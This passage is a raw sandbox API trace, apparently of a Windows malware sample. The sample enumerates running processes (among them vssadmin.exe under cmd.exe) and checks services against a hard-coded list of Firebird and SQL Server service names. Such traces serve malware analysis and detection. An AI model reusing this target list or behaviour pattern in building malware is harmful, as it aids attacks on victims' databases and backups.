pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0183.129] lstrlenW (lpString="drama tv thee.exe") returned 17 [0183.129] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0183.130] lstrlenW (lpString="barriers.exe") returned 12 [0183.130] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0183.130] lstrlenW (lpString="shootclick.exe") returned 14 [0183.130] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0183.131] lstrlenW (lpString="nickel.exe") returned 10 [0183.131] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0183.132] lstrlenW (lpString="imperialopened.exe") returned 18 [0183.132] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0183.133] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0183.133] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0183.134] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0183.134] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0183.135] lstrlenW (lpString="perhapssentences.exe") returned 20 [0183.135] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.136] lstrlenW (lpString="svchost.exe") returned 11 [0183.136] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0183.136] lstrlenW (lpString="chrome64b.exe") returned 13 [0183.136] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0183.137] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0183.137] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.138] lstrlenW (lpString="conhost.exe") returned 11 [0183.138] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0183.139] lstrlenW (lpString="cmd.exe") returned 7 [0183.139] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.139] lstrlenW (lpString="conhost.exe") returned 11 [0183.140] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0183.140] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0183.140] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0183.141] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0183.141] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0183.142] lstrlenW (lpString="vssadmin.exe") returned 12 [0183.142] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0183.143] lstrlenW (lpString="dllhost.exe") returned 11 [0183.143] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0183.143] lstrlenW (lpString="LogonUI.exe") returned 11 [0183.143] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.144] lstrlenW (lpString="svchost.exe") returned 11 [0183.144] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0183.145] CloseHandle (hObject=0x38c) returned 1 [0183.145] Sleep (dwMilliseconds=0x1f4) [0183.648] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce9b0 [0183.648] EnumServicesStatusExW (in: hSCManager=0x7ce9b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0183.649] GetLastError () returned 0xea [0183.649] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1fd0) returned 0x3bb1528 [0183.649] EnumServicesStatusExW (in: hSCManager=0x7ce9b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bb1528, cbBufSize=0x1fd0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bb1528, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0183.649] CloseServiceHandle (hSCObject=0x7ce9b0) returned 1 [0183.650] lstrlenW (lpString="Appinfo") returned 7 [0183.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0183.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0183.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0183.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0183.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0183.650] lstrlenW (lpString="AppXSvc") returned 7 [0183.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0183.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0183.650] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0183.650] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0183.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0183.650] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0183.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.650] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0183.650] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0183.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0183.650] lstrlenW (lpString="Audiosrv") returned 8 [0183.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0183.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0183.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0183.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0183.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0183.650] lstrlenW (lpString="BFE") returned 3 [0183.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0183.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0183.651] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0183.651] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0183.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0183.651] lstrlenW (lpString="BITS") returned 4 [0183.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0183.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0183.651] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0183.651] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0183.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0183.651] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0183.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.651] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0183.651] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0183.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0183.651] lstrlenW (lpString="CDPSvc") returned 6 [0183.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0183.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0183.651] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0183.651] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0183.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0183.651] lstrlenW (lpString="ClickToRunSvc") returned 13 [0183.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0183.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0183.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0183.651] lstrlenW (lpString="ClipSVC") returned 7 [0183.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0183.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0183.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0183.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0183.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0183.652] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0183.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0183.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0183.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0183.652] lstrlenW (lpString="CryptSvc") returned 8 [0183.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0183.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0183.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0183.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0183.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0183.652] lstrlenW (lpString="DcomLaunch") returned 10 [0183.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.652] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0183.652] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0183.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0183.652] lstrlenW (lpString="DeviceAssociationService") returned 24 [0183.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.652] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0183.652] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0183.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0183.652] lstrlenW (lpString="Dhcp") returned 4 [0183.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0183.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0183.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0183.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0183.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0183.652] lstrlenW (lpString="Dnscache") returned 8 [0183.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0183.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0183.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0183.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0183.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0183.653] lstrlenW (lpString="DoSvc") returned 5 [0183.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0183.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0183.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0183.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0183.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0183.653] lstrlenW (lpString="DPS") returned 3 [0183.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0183.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0183.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0183.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0183.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0183.653] lstrlenW (lpString="DusmSvc") returned 7 [0183.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0183.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0183.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0183.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0183.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0183.653] lstrlenW (lpString="EventLog") returned 8 [0183.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0183.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0183.653] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0183.653] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0183.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0183.653] lstrlenW (lpString="EventSystem") returned 11 [0183.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0183.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0183.653] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0183.653] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0183.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0183.653] lstrlenW (lpString="FontCache") returned 9 [0183.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0183.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0183.654] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0183.654] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0183.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0183.654] lstrlenW (lpString="gpsvc") returned 5 [0183.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0183.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0183.654] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0183.654] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0183.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0183.654] lstrlenW (lpString="iphlpsvc") returned 8 [0183.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.654] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0183.654] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0183.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0183.654] lstrlenW (lpString="KeyIso") returned 6 [0183.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0183.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0183.654] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0183.654] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0183.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0183.654] lstrlenW (lpString="LanmanServer") returned 12 [0183.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0183.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0183.654] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0183.654] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0183.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0183.654] lstrlenW (lpString="LanmanWorkstation") returned 17 [0183.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.654] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0183.654] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0183.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0183.654] lstrlenW (lpString="lfsvc") returned 5 [0183.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0183.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0183.655] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0183.655] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0183.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0183.655] lstrlenW (lpString="LicenseManager") returned 14 [0183.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0183.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0183.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0183.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0183.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0183.655] lstrlenW (lpString="lmhosts") returned 7 [0183.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0183.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0183.655] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0183.655] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0183.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0183.655] lstrlenW (lpString="LSM") returned 3 [0183.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0183.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0183.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0183.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0183.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0183.655] lstrlenW (lpString="MapsBroker") returned 10 [0183.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0183.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0183.655] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0183.655] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0183.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0183.655] lstrlenW (lpString="MpsSvc") returned 6 [0183.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0183.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0183.655] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0183.655] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0183.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0183.655] lstrlenW (lpString="NcbService") returned 10 [0183.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0183.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0183.656] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0183.656] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0183.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0183.656] lstrlenW (lpString="netprofm") returned 8 [0183.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0183.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0183.656] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0183.656] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0183.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0183.656] lstrlenW (lpString="NlaSvc") returned 6 [0183.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0183.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0183.656] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0183.656] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0183.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0183.656] lstrlenW (lpString="nsi") returned 3 [0183.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0183.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0183.656] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0183.656] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0183.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0183.656] lstrlenW (lpString="PcaSvc") returned 6 [0183.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0183.656] lstrcmpiW 